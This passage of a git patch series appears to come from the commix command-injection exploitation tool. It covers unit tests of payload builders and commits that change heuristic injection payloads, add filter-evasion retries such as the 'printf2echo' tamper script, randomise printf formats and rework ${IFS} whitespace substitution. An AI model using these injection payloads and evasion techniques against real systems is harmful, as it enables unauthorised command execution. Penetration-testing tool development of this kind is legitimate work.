turns every + payload to 'echo' at once. Every POSIX builder is built here under every separator, both ways. + """ + MODULES = ("results_based.rb_payloads", "time_based.tb_payloads", "boolean_based.bb_payloads", + "file_based.fb_payloads", "tempfile_based.tfb_payloads") + ARGS = {"separator": ";", "TAG": "TAG", "cmd": "id", "OUTPUT_TEXTFILE": "/tmp/X.txt", "timesec": 2, + "http_request_method": "GET", "output_length": 3, "j": 3, "num_of_chars": 1, + "ascii_char": 65, "tag_length": 3, "randvcalc": 5, "holds": True, "candidate_length": 3} + + def setUp(self): + self._kept = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.PRINT_WITH_ECHO, settings.RESULTS_BASED_EXACT_OUTPUT) + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.PRINT_WITH_ECHO, settings.RESULTS_BASED_EXACT_OUTPUT) = self._kept + + def _payloads(self): + for name in self.MODULES: + module = importlib.import_module("src.core.techniques." + name) + for function_name, function in inspect.getmembers(module, inspect.isfunction): + if function.__module__ != module.__name__ or function_name.startswith("_"): + continue + # The alternative interpreter's payloads hand the output to Python, not to a printing command. + if "alter_interpreter" in function_name: + continue + for separator in (";", "&", "&&", "|", "||", "\n"): + values = dict(self.ARGS, separator=separator) + try: + payload = function(*[values.get(p, 1) for p in inspect.signature(function).parameters]) + except Exception: + continue + if isinstance(payload, str) and payload: + yield name + "." + function_name + " " + repr(separator), payload + + def _mixed(self): + return [where for where, payload in self._payloads() + if re.search(r"\becho\b", payload) and re.search(r"\bprintf\b", payload)] + + def test_no_payload_mixes_the_two_by_default(self): + for exact in (False, True): + settings.RESULTS_BASED_EXACT_OUTPUT = exact + settings.PRINT_WITH_ECHO = False + self.assertEqual([], self._mixed()) + + def test_no_payload_mixes_the_two_where_echo_is_asked_for(self): + settings.PRINT_WITH_ECHO = True + self.assertEqual([], self._mixed()) + + def test_the_payloads_that_print_say_printf_by_default_and_echo_when_asked(self): + from src.core.techniques.results_based import rb_payloads + settings.RESULTS_BASED_EXACT_OUTPUT = False + settings.PRINT_WITH_ECHO = False + self.assertNotIn("echo", rb_payloads.cmd_execution(";", "TAG", "id")) + settings.PRINT_WITH_ECHO = True + self.assertNotIn("printf", rb_payloads.cmd_execution(";", "TAG", "id")) + + def test_the_script_trading_printf_for_echo_says_so_before_anything_is_built(self): + from src.tamper.obfuscation.posix import printf2echo + settings.PRINT_WITH_ECHO = False + printf2echo.declare() + self.assertTrue(settings.PRINT_WITH_ECHO) + +class AnOutputIsPrintedAsItWasPrinted(unittest.TestCase): + """ + 'echo' reads the backslashes of what it prints as escapes on some shells and a leading '-n' as an + option on all of them, so an output carrying either came back changed: 'C:\\temp\\new' as a tab and + a line break, and '\\c' cut the closing markers off. Each payload is run here through the local + shell, so it is the shell's reading of what was built that is checked, not its spelling. + """ + TAG = "QQQQQQ" + PRINTED = ("C:\\temp\\new", "a\\cb", "a\\\\b", "\\0141", "-n x", "-E") + + def setUp(self): + self._kept = (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.RESULTS_BASED_EXACT_OUTPUT, settings.PRINT_WITH_ECHO) + settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX = "$(", ")" + settings.TARGET_OS = settings.OS.UNIX + settings.RESULTS_BASED_EXACT_OUTPUT = False + settings.PRINT_WITH_ECHO = False + + def tearDown(self): + (settings.CMD_SUB_PREFIX, settings.CMD_SUB_SUFFIX, settings.TARGET_OS, + settings.RESULTS_BASED_EXACT_OUTPUT, settings.PRINT_WITH_ECHO) = self._kept + + def _command(self, text): + # Written out a byte at a time, so the command itself carries nothing for a shell to read. + return "printf '" + "".join("\\%03o" % byte for byte in text.encode("utf-8")) + "'" + + def test_the_plain_reading_prints_the_output_as_it_was_printed(self): + from src.core.techniques.results_based import rb_payloads + for text in self.PRINTED: + payload = rb_payloads.cmd_execution(";", self.TAG, self._command(text)) + done = subprocess.run(["sh", "-c", "true" + payload], capture_output=True) + found = re.findall((self.TAG * 2 + "(.*)" + self.TAG * 2).encode(), done.stdout, re.S) + self.assertEqual([text.encode()], found, "the plain reading changed " + repr(text)) + + def test_the_plain_reading_still_joins_the_words_with_one_space(self): + from src.core.techniques.results_based import rb_payloads + payload = rb_payloads.cmd_execution(";", self.TAG, self._command("a b\n c\n")) + done = subprocess.run(["sh", "-c", "true" + payload], capture_output=True) + self.assertIn((self.TAG * 2 + "a b c" + self.TAG * 2).encode(), done.stdout) + + def test_the_tempfile_reading_stores_the_output_as_it_was_printed(self): + from src.core.techniques.tempfile_based import tfb_payloads + import tempfile + with tempfile.TemporaryDirectory() as work: + stored = os.path.join(work, "out.txt") + for text in self.PRINTED: + subprocess.run(["sh", "-c", "true" + tfb_payloads.oracle_write(";", self._command(text), stored)], + capture_output=True) + with open(stored, "rb") as handle: + self.assertEqual(text.encode(), handle.read(), "the tempfile reading changed " + repr(text)) + + def test_echo_where_asked_for_still_reads_a_plain_output(self): + from src.core.techniques.results_based import rb_payloads + settings.PRINT_WITH_ECHO = True + payload = rb_payloads.cmd_execution(";", self.TAG, self._command("uid=33 gid=33")) + done = subprocess.run(["sh", "-c", "true" + payload], capture_output=True) + self.assertIn((self.TAG * 2 + "uid=33 gid=33" + self.TAG * 2).encode(), done.stdout) From 6bff101c90082282b331abcc1482c0476e540758 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 Nov 2026 09:03:47 +0200 Subject: [PATCH 1022/1023] Fixed several issues regarding the way a run prints what it reads back, affecting the format `printf` is given, now drawn per run from four spellings of the same thing, and the heuristic test that settles which of the two printing commands a target still lets through --- src/core/controller/checks.py | 22 ++++++++- src/core/controller/controller.py | 75 +++++++++++++++++++++++++++++-- src/utils/settings.py | 17 +++++-- 3 files changed, 104 insertions(+), 10 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index a28962db40..08ea69a2d0 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -8395,8 +8395,10 @@ def in_scope(url): tamper script that trades 'printf' for 'echo' sets PRINT_WITH_ECHO for these to write 'echo'. """ # Several words, one space to each - the joining 'echo' does, in a format picked once per run. -def print_words(words): - if settings.PRINT_WITH_ECHO: +# 'with_echo' names the printing for this one call, where the caller is writing both deliberately +# rather than printing the way the run prints; left out, the run's own choice stands. +def print_words(words, with_echo=None): + if settings.PRINT_WITH_ECHO if with_echo is None else with_echo: return "echo " + words return "printf " + settings.RANDOM_PRINTF_FORMAT + " " + words @@ -8412,6 +8414,22 @@ def print_marker(word): return "echo " + word return "printf " + word +""" +Note which of the two printings the heuristic test came back with, where it came back with one of +them only. + +Both went out in the one request, so an answer carrying one and not the other is the target's own +word on which it still lets through - suggestive rather than settled, since each went behind its +own separator and a separator the target does not take answers the same as a name it refuses. Read +as what is worth trying next, which is what the pass that reaches for the tamper script asks. +""" +def note_printer_that_answered(page): + patterns = settings.BASIC_COMMAND_INJECTION_RESULTS + if not patterns or not page: + return + answered = [name for name in ("echo", "printf") if patterns.get(name) and re.search(patterns[name], page)] + settings.PRINTER_ANSWERED = answered[0] if len(answered) == 1 else None + """ Whether there is an exact reading of the output to ask for on this target at all. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 04c61cd061..1ef01ddaa2 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -53,6 +53,12 @@ def basic_payload_generator(): marker1 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) marker2 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) marker3 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + # A pair of markers to each repetition below, rather than the one pair to all three, so the + # repetition that answered can be told from the ones that did not. + marker4 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker5 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker6 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker7 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) suffix = "" if checks.using_backticks(): @@ -77,9 +83,29 @@ def basic_payload_generator(): windows_proof = "set /a " + settings.BASIC_STRING alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\"" - # The same proof behind each separator, printed through the one command checks.print_words() names. - posix_proof = checks.print_words(marker1 + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + marker2) - settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";" + posix_proof + "&" + posix_proof + "|" + posix_proof, + """ + The same proof behind each separator, and - where nothing has chosen the printing for this run - + not all three printed with the same name. + + Both names go into payloads elsewhere one at a time, so a target refusing either refuses every + payload carrying it, this test's own included, and the run reads as a parameter with no way in + rather than as a name being turned away. Written here with both, each repetition behind its own + pair of markers: the repetition that comes back names what the target still prints with, and the + test answers at all where it would otherwise have come back empty. The separator varies with it, + so which of the two did the work is not settled by one answer - it is read as what is worth + trying, not as what was proven. Left alone where the run has a printing of its own, asked for or + adopted, since putting the other name back is the opposite of what the script was loaded for. + + The other name goes last rather than in the middle. Written ';A&B|C', the shell hands B's output + to C instead of to the page, so B is the one repetition nothing can be read from - measured, the + three print 'A C' and never B. The two that are read are the first and the last, so those are + the two that carry a name each. + """ + echoed = (True, True, True) if settings.PRINT_WITH_ECHO else (False, False, True) + pairs = ((marker1, marker2), (marker4, marker5), (marker6, marker7)) + proofs = [checks.print_words(opening + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + closing, with_echo=as_echo) + for (opening, closing), as_echo in zip(pairs, echoed)] + settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";" + proofs[0] + "&" + proofs[1] + "|" + proofs[2], "|echo " + marker1 + "&" + windows_proof + "&echo " + marker2 + "&echo " + marker1 + "&" + windows_proof + "&echo " + marker2 ] @@ -89,7 +115,13 @@ def basic_payload_generator(): "|echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 + "&echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 ] - settings.BASIC_COMMAND_INJECTION_RESULT = re.escape(marker1) + r"\s*" + re.escape(expected) + r"\s*" + re.escape(marker2) + def _answer(pair): + return re.escape(pair[0]) + r"\s*" + re.escape(expected) + r"\s*" + re.escape(pair[1]) + # Kept by the name each repetition printed with, so an answer carrying one and not the other says + # which is still getting through; the whole of it is what the test itself is read against. + settings.BASIC_COMMAND_INJECTION_RESULTS = {"echo": "|".join(_answer(pair) for pair, as_echo in zip(pairs, echoed) if as_echo), + "printf": "|".join(_answer(pair) for pair, as_echo in zip(pairs, echoed) if not as_echo)} + settings.BASIC_COMMAND_INJECTION_RESULT = "|".join(_answer(pair) for pair in pairs) """ Initializing basic level check status @@ -331,6 +363,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True + checks.note_printer_that_answered(html_data) # Asked while the payload that answered is still in hand, and before a technique has # spent a single request at the slow value's price. url = probe_skip_testable_value_early(url, http_request_method, check_parameter, payload, whitespace, place) @@ -1367,6 +1400,28 @@ def _accepts_dashless_retry(): return settings.DASHLESS_RETRY_CHOICE + """ + Whether to go around a filter built on what the payloads print with. + + Asked for the same reason the two above are: nothing was confirmed, and that the target + refuses the one name and format every POSIX payload carries is the guess that makes another + pass worth paying for - so it belongs in the question rather than stated as something found. + """ + def _accepts_printer_retry(): + if settings.PRINTER_RETRY_CHOICE is None: + if settings.PRINTER_ANSWERED == "echo": + # The heuristic test went out printing with both names and came back carrying one of + # them, so what was found is stated on its own line rather than put in the question - + # the choice stays the user's, as it is for every other pass. + warn_msg = "The heuristic test answered where it printed with 'echo' only, so 'printf' appears to be filtered." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "Do you want " + settings.APPLICATION + " to enable the 'printf2echo' tamper script? [Y/n] " + else: + message = "Do you want " + settings.APPLICATION + " to try again in case what the payloads print with " + message += "is being filtered (e.g. by using a tamper script that prints with 'echo')? [Y/n] " + settings.PRINTER_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.PRINTER_RETRY_CHOICE + # A filter that rejects any literal whitespace blocks the heuristic test the same as every # technique, so gating this on a positive heuristic would never fire for the one case it # exists for. 'MULTI_ENCODED_PAYLOAD' already carrying the script is what keeps it from @@ -1404,6 +1459,18 @@ def _accepts_dashless_retry(): _reset_web_root_detection() end_detection = _run_and_verify() + # The name and the format are in every POSIX payload alike - the heuristic test's own + # included - so a filter built on either refuses the lot for the one reason, which reads as a + # parameter with no way in rather than as a string being turned away. 'printf2echo' prints + # with 'echo' throughout, which is the one other name a payload here can print with. + if not end_detection and checks.injection_techniques_status() is False and \ + _may_adopt_tamper() and "printf2echo" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_printer_retry(): + settings.AUTO_TAMPER.append("printf2echo") + checks.tamper_scripts(stored_tamper_scripts=False) + _reset_web_root_detection() + end_detection = _run_and_verify() + # The one obstacle none of the passes above can be written around: every command substitution # commix writes is opened with '$', and so is the '${IFS}' the first whitespace pass reaches # for - so a filter built on that character refuses them all, the dash-free tests included. diff --git a/src/utils/settings.py b/src/utils/settings.py index 06cb247dc3..59c83753d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "348" +REVISION = "349" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -537,8 +537,11 @@ def sys_argv_errors(): RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) # Random variable name (E-Z only). RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase[4:]) for _ in range(3)) -# Random "printf" format for a printed word and the one space it is written with. -RANDOM_PRINTF_FORMAT = random.choice((r"%s\\040", r"%s\\40", r"\\040%s", r"\\40%s")) +# Random "printf" format for a printed word and the one space it is written with - the conversion, +# the octal escape and the side the space falls on are each spelled more than one way, so a filter +# refusing the format has no one string of it to go by. +RANDOM_PRINTF_FORMAT = random.choice((r"%s\\040", r"%s\\40", r"\\040%s", r"\\40%s", + r"%-s\\040", r"%-s\\40", r"\\040%-s", r"\\40%-s")) # Path to text resources folder DATA_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..', 'data')) @@ -686,6 +689,10 @@ class HEURISTIC_TEST(object): BASIC_COMMAND_INJECTION_PAYLOADS = [] ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [] BASIC_COMMAND_INJECTION_RESULT = "" +# The same, split by the name each repetition printed with, so the one that answered is known. +BASIC_COMMAND_INJECTION_RESULTS = {} +# What the target still printed with, where only one of the two names came back. +PRINTER_ANSWERED = None IDENTIFIED_COMMAND_INJECTION = False """ @@ -1031,6 +1038,8 @@ def current_technique(): TEMP_FOLDER_CHOICE = None # The same consent, asked about a filter built around '-' rather than around whitespace. DASHLESS_RETRY_CHOICE = None +# And again for one built around the name and the format every payload prints with. +PRINTER_RETRY_CHOICE = None # And the same again for one built around '$', which is what every command substitution this writes # is opened with - and what the whitespace pass above reaches for first, in '${IFS}'. BACKTICK_RETRY_CHOICE = None @@ -3223,7 +3232,7 @@ def set_side_request(kind, value): # an obstacle, and an answer given once covers every target the same way, since what is being # answered is whether that pass is worth its cost at all. "ADJUST_TIME_DELAY_CHOICE", "BACKTICK_RETRY_CHOICE", "DASHLESS_RETRY_CHOICE", - "FILE_BASED_NARROWING_CHOICE", + "FILE_BASED_NARROWING_CHOICE", "PRINTER_RETRY_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", "IGNORE_NOT_FOUND", "NOT_FOUND_PROMPTED", "UNSTABLE_PROMPTED", "RECOGNISE_OS", "REPLACE_VALUE_RETRY_CHOICE", "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", "WHITESPACE_RETRY_CHOICE", From 7bf1fec3b46d82b0a2d9366eff65cc148e5ad7e9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 Nov 2026 06:22:25 +0200 Subject: [PATCH 1023/1023] Fixed several issues regarding the payloads a run builds and reports, affecting the whitespace they separate their words with, the names and commands they are built from, and the form a finding is reported under, which was the payload its technique built rather than the one the request carried --- src/core/controller/checks.py | 175 +++++++++++++++++- src/core/controller/injector.py | 14 +- src/core/eval/payloads/__init__.py | 16 ++ src/core/eval/payloads/file_based.py | 4 +- src/core/requests/requests.py | 24 ++- .../techniques/boolean_based/bb_payloads.py | 6 +- src/core/techniques/file_based/fb_payloads.py | 15 +- src/core/techniques/oob/oob_payloads.py | 4 + src/core/techniques/time_based/tb_payloads.py | 10 +- src/tamper/obfuscation/posix/dashlesstest.py | 83 +++++++++ src/tamper/whitespace/posix/space2ifs.py | 5 +- src/tamper/whitespace/posix/space2ifsraw.py | 6 +- .../whitespace/posix/space2randomblank.py | 28 ++- src/utils/settings.py | 101 +++++++--- 14 files changed, 422 insertions(+), 69 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 08ea69a2d0..8fdec43154 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1105,7 +1105,31 @@ def save_cmd_history(): """ Testing technique (title) """ +def dashless_gap_note(technique): + """ + What a run working a filtered '-' out of its payloads still cannot spell without one. + + 'dashlesstest' reads 'test's comparisons, a word's length and a byte's ordinal without one, which + between them are every '-' the results-, boolean-, time- and file-based techniques write. The + tempfile-based one turns a whole file into the decimals of its bytes, and what performs that is + asked for it through its options - spelled with the one character this target takes away, and + with no other spelling of their own. Said here because a target that strips it answers such a + payload exactly as it answers a parameter that was never injectable. + """ + if technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return + if settings.DASHLESS_TAMPER not in settings.MULTI_ENCODED_PAYLOAD: + return + warn_msg = "The '" + settings.DASHLESS_TAMPER + ".py' tamper script reaches every '-' this " + warn_msg += "technique's comparisons are written with, but not the ones its byte reading needs, " + warn_msg += "which are options and have no other spelling. A target that strips a '-' answers " + warn_msg += "this technique as it answers a parameter that is not injectable." + settings.print_once(warn_msg) + def testing_technique_title(injection_type, technique): + # Said before the title, so what follows it is read knowing what this technique can still be + # refused for - and once, which 'print_once' settles rather than the title's own repeats. + dashless_gap_note(technique) # A new technique's title - the completion label below is free to print again for it. settings.LAST_COMPLETED_TECHNIQUE = None settings.LAST_DOT_BUCKET = -1 @@ -2177,7 +2201,8 @@ def finding_summary_lines(technique, injection_type, payload, title=None): settings.SUB_CONTENT_SIGN_TYPE + "Type: " + injection_type[0].upper() + injection_type[1:]] if title: lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Boundary: " + title) - lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Payload: " + payload) + # Shown the way every other payload in the run is shown, so the two never read as two payloads. + lines.append(settings.SUB_CONTENT_SIGN_TYPE + "Payload: " + settings.rendered_payload(payload)) return lines """ @@ -2260,6 +2285,34 @@ def payload_with_own_value(payload): settings.RAW_PAYLOAD = raw_payload return payload +""" +The payload as it went out, rather than as the technique built it. + +A script that rewrites the payload's own text does so on the way to the target, so what the +technique still holds afterwards is the form from before it - and a finding reported in that form +names a payload the target refused. 'dashlesstest' is the plain case: the request carried +'[ ${#V} = 6 ]' and the summary printed the '-eq' that target rejects. + +Looked up rather than worked out again. Running the scripts a second time over the same payload +answers for the ones that rewrite it the same way every time and invents a payload for the rest - +'uninitializedvariable' puts its empty variable in at positions it draws at random, so a second +pass writes something that was never sent, which is the very thing this is here to stop. + +The latest rewrite of a payload is the one kept, since that is the request the finding was printed +behind. A script drawing afresh on every request writes the same payload out differently each time +it goes - 'space2randomblank' picks among its blanks per occurrence - so for those the form shown +is one of the requests that were really made rather than the single one that proved it. +""" +def note_payload_as_sent(payload_of_record, sent): + if payload_of_record == sent: + return + if len(settings.PAYLOADS_AS_SENT) > settings.MAX_PAYLOADS_AS_SENT: + settings.PAYLOADS_AS_SENT.clear() + settings.PAYLOADS_AS_SENT[payload_of_record] = sent + +def payload_as_sent(payload): + return settings.PAYLOADS_AS_SENT.get(payload, payload) + def _injection_points_summary(header_msg, rows, decode_payload=False): settings.print_data_to_stdout(header_msg) prev_parameter = None @@ -2271,12 +2324,14 @@ def _injection_points_summary(header_msg, rows, decode_payload=False): if current_parameter != prev_parameter: settings.print_data_to_stdout(finding_parameter_line(vuln_parameter, http_request_method)) prev_parameter = current_parameter - # A row read back from a stored session holds the payload as it was sent, so the value goes in - # here. One confirmed this run had that settled as it was recorded, while the parameter it was - # found on was still the one being tested - by the time this prints, another parameter's own - # value is what is on record, and a second rewrite here would read the wrong one back. + # A row read back from a stored session holds the payload as the technique built it. Where this + # run sent it, that is what is shown; where it was another run's, nothing here knows what the + # scripts made of it then, and the payload stands as recorded rather than being guessed at. One + # confirmed this run had the value settled as it was recorded, while the parameter it was found + # on was still the one being tested - by the time this prints, another parameter's own value is + # what is on record, and a second rewrite here would read the wrong one back. if decode_payload: - payload = payload_with_own_value(str(url_decode(payload))) + payload = payload_with_own_value(payload_as_sent(str(url_decode(payload)))) for line in finding_summary_lines(technique, injection_type, payload): settings.print_data_to_stdout(line) """ @@ -4191,6 +4246,96 @@ def tamper_outside_single_quotes(payload, transform): parts = re.split(r"('[^']*')", payload) return "".join(part if part.startswith("'") else transform(part) for part in parts) +# A quoted span, and inside a double-quoted one what is still code rather than part of the literal. +TAMPER_QUOTED_SPAN = r"""('[^']*'|"[^"]*")""" +TAMPER_QUOTED_CODE = re.compile(r"\$\((?P[^()]*)\)|`(?P[^`]*)`") + +""" +Apply "transform" to everything but the text a quote makes a literal of. + +'tamper_outside_single_quotes' leaves a double-quoted span to be rewritten, which is right for a +substitute the shell reads back as the character it replaced. A whitespace one is not among those: +'${IFS}' written between two words is the gap between them, while the same thing written between +two words of a double-quoted literal is three characters of that literal - so a request line built +as "GET /x HTTP/1.0" arrives as something no server is going to answer. The literal is left to +itself here, and only the substitutions inside it are walked, each being a payload of its own. + +Only the payload's own quotes are read that way. A boundary's quote answers one the application +opened, so the span it appears to open runs the other way round - what is inside it is the shell's +code and what is outside is the application's string - and pairing it with one of the payload's own +would read both backwards. The two ends are held aside first, by what 'PAYLOAD_EDGES' was last told +they are, and rewritten on their own. +""" +def tamper_outside_quoted_text(payload, transform): + # cmd.exe gives a single quote no meaning of its own, for the reason given just above. + if settings.TARGET_OS == settings.OS.WINDOWS: + return transform(payload) + opening, closing = settings.PAYLOAD_EDGES + # Held aside only while they are still there to recognise: a script that has already rewritten + # one of the two ends has made the payload something this cannot take apart, and the walk below + # is what the whole of it gets. + if (opening or closing) and payload.startswith(opening) and payload.endswith(closing) and \ + len(payload) > len(opening) + len(closing): + return transform(opening) + \ + tamper_outside_quoted_text(payload[len(opening):len(payload) - len(closing)], transform) + \ + transform(closing) + parts = re.split(TAMPER_QUOTED_SPAN, payload) + # Alternating: what the split was made on lands on the odd positions, the text between on the even. + for index, part in enumerate(parts): + if index % 2 == 0: + parts[index] = transform(part) + elif part.startswith("\""): + parts[index] = TAMPER_QUOTED_CODE.sub(lambda match: _tamper_quoted_code(match, transform), part) + return "".join(parts) + +# One substitution out of a double-quoted literal, walked by the same rules as the payload around +# it - a quote of its own inside it is a quote like any other, and is held to itself the same way. +def _tamper_quoted_code(match, transform): + if match.group("substitution") is not None: + return "$(" + tamper_outside_quoted_text(match.group("substitution"), transform) + ")" + return "`" + tamper_outside_quoted_text(match.group("backticks"), transform) + "`" + +# A whitespace substitute that is only a separator once the shell has expanded it ('${IFS}', +# '$IFS$9'), as against one that is a separator character in its own right (a tab, a '%20'). +TAMPER_EXPANDED_BLANK = "$" +# What stands in for one of those where it would not be read as the gap it is written for. A tab is +# settled as that gap at the point a keyword is, before anything expands, and is still not the +# space whichever filter the substitute is there for took away. +TAMPER_PARSED_BLANK = "\t" +# A command's own assignments, which such a substitute cannot be written after: the words of an +# assignment are the one place a shell does no field splitting, so what expands to a separator +# there is read as more of the value rather than as the end of it. A substitution opens a word of +# its own, so a value reaching into one is not this - what follows it is split as usual. +TAMPER_ASSIGNMENTS = re.compile(r"(?:\A|[;&|`\n(])(?:\s*[A-Za-z_]\w*=[^\s;&|`\n()]*)+\Z") + +def tamper_blank_allowed(blank, part, start, end): + """ + Whether a whitespace substitute written where this one is would be read as the gap it stands for. + + A separator character of its own always is. An expansion is one only where the shell splits what + it expanded, and there are three places it does not: beside a keyword, which is settled off the + word as written and so is no keyword at all once something expands next to it; after a command's + own assignments, whose words are not split; and, for '$IFS$9', in front of a digit, which the + shell reads together with the '$9' as one longer - and equally empty - parameter. + """ + if not blank.startswith(TAMPER_EXPANDED_BLANK): + return True + before = re.search(r"(\w+)\Z", part[:start]) + after = re.match(r"\A(\w+)", part[end:]) + if (before and before.group(1) in settings.SHELL_KEYWORDS) or \ + (after and after.group(1) in settings.SHELL_KEYWORDS): + return False + if TAMPER_ASSIGNMENTS.search(part[:start]): + return False + return not (blank.endswith("$9") and after and after.group(1)[:1].isdigit()) + +# Every space in one span of shell code written as the substitute, bar where that one would not be +# read as the gap it stands for and a tab is written instead. +def tamper_blanks(part, blank): + return re.sub(re.escape(settings.SINGLE_WHITESPACE), + lambda match: blank if tamper_blank_allowed(blank, part, match.start(), match.end()) + else TAMPER_PARSED_BLANK, part) + """ Interleave obf_char before each tamper-modification-letter match (Unix-only) - the shared logic behind backslashes/dollaratsigns/singlequotes. """ @@ -4243,8 +4388,13 @@ def tamper_rewrite_user_command(payload, tamper_name): source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD if settings.USER_APPLIED_CMD in source: payload = source.replace(settings.USER_APPLIED_CMD, command) - if len(settings.WHITESPACES) != 0: - payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + # The substitute goes back on what the command was written into, and on the same terms the + # request itself puts it on: a quoted literal is the string the payload meant to send, not a + # place where one word ends and the next begins. + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] != settings.SINGLE_WHITESPACE: + rewrite = (tamper_outside_single_quotes if settings.WHITESPACES[0] in settings.DECODED_WHITESPACES + else tamper_outside_quoted_text) + payload = rewrite(payload, lambda part: tamper_blanks(part, settings.WHITESPACES[0])) return payload def tamper_word_kept(word, preceding=""): @@ -4578,6 +4728,13 @@ def tamper_scripts(stored_tamper_scripts): warn_msg += "is not a good idea (may cause false positive / negative results)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # What the payloads print with follows the script that trades the two names rather than being + # remembered from when it was taken up. A script is dropped again where the target turns out not + # to meet what it asks of it, and the ones commix reached for itself are given back between one + # parameter and the next - and either way what was remembered went on printing with 'echo' for + # payloads nothing was asking it of, on a run whose scripts no longer said so. + settings.PRINT_WITH_ECHO = settings.PRINTF_TO_ECHO_TAMPER in settings.MULTI_ENCODED_PAYLOAD + """ Enable a tamper script by name, skipping duplicates. """ @@ -7325,6 +7482,8 @@ def announce_vulnerable_finding(filename, injection_type, technique, the_type, h settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) announce_leftover_file(technique) decoded_payload = str(url_decode(payload)) if decode_payload else payload + # Reported as the request proved it, which is after every script that rewrites a payload's text. + decoded_payload = payload_as_sent(decoded_payload) if not settings.LOAD_SESSION: settings.CONFIRMED_INJECTION_POINTS.append((technique, injection_type, vuln_parameter, payload_with_own_value(decoded_payload), display_method, settings.TOTAL_OF_REQUESTS, title)) diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index bbc0d59051..8c384babbe 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1223,9 +1223,19 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if settings.COMMENT in cmd: shown_cmd = cmd.split(settings.COMMENT)[0].strip() # The trace of what is actually being run, which for an internal command is the only word of - # it - but a command the user asked for on the command line has just been named already. + # it - but a command the user asked for on the command line has just been named already. The + # technique is named with the first of them because it need not be the one the command is + # being run for: a file-based technique is set up by asking the target where to write, and + # that question goes out through the results-based one where this target answered it, which + # is the whole of why that one alone is called usable. Said once and not again: what it + # explains holds for every internal command after it, and repeating it says nothing new. if shown_cmd != menu.options.os_cmd: - debug_msg = "Executing the '" + shown_cmd + "' command." + debug_msg = "Executing the '" + shown_cmd + "' command" + if not settings.TECHNIQUE_NAMED_IN_TRACE: + settings.TECHNIQUE_NAMED_IN_TRACE = True + usable = "usable " if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED else "" + debug_msg += " through the " + usable + technique + debug_msg += "." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return response diff --git a/src/core/eval/payloads/__init__.py b/src/core/eval/payloads/__init__.py index 7cd55728d8..136e3dd219 100644 --- a/src/core/eval/payloads/__init__.py +++ b/src/core/eval/payloads/__init__.py @@ -13,4 +13,20 @@ For more see the file 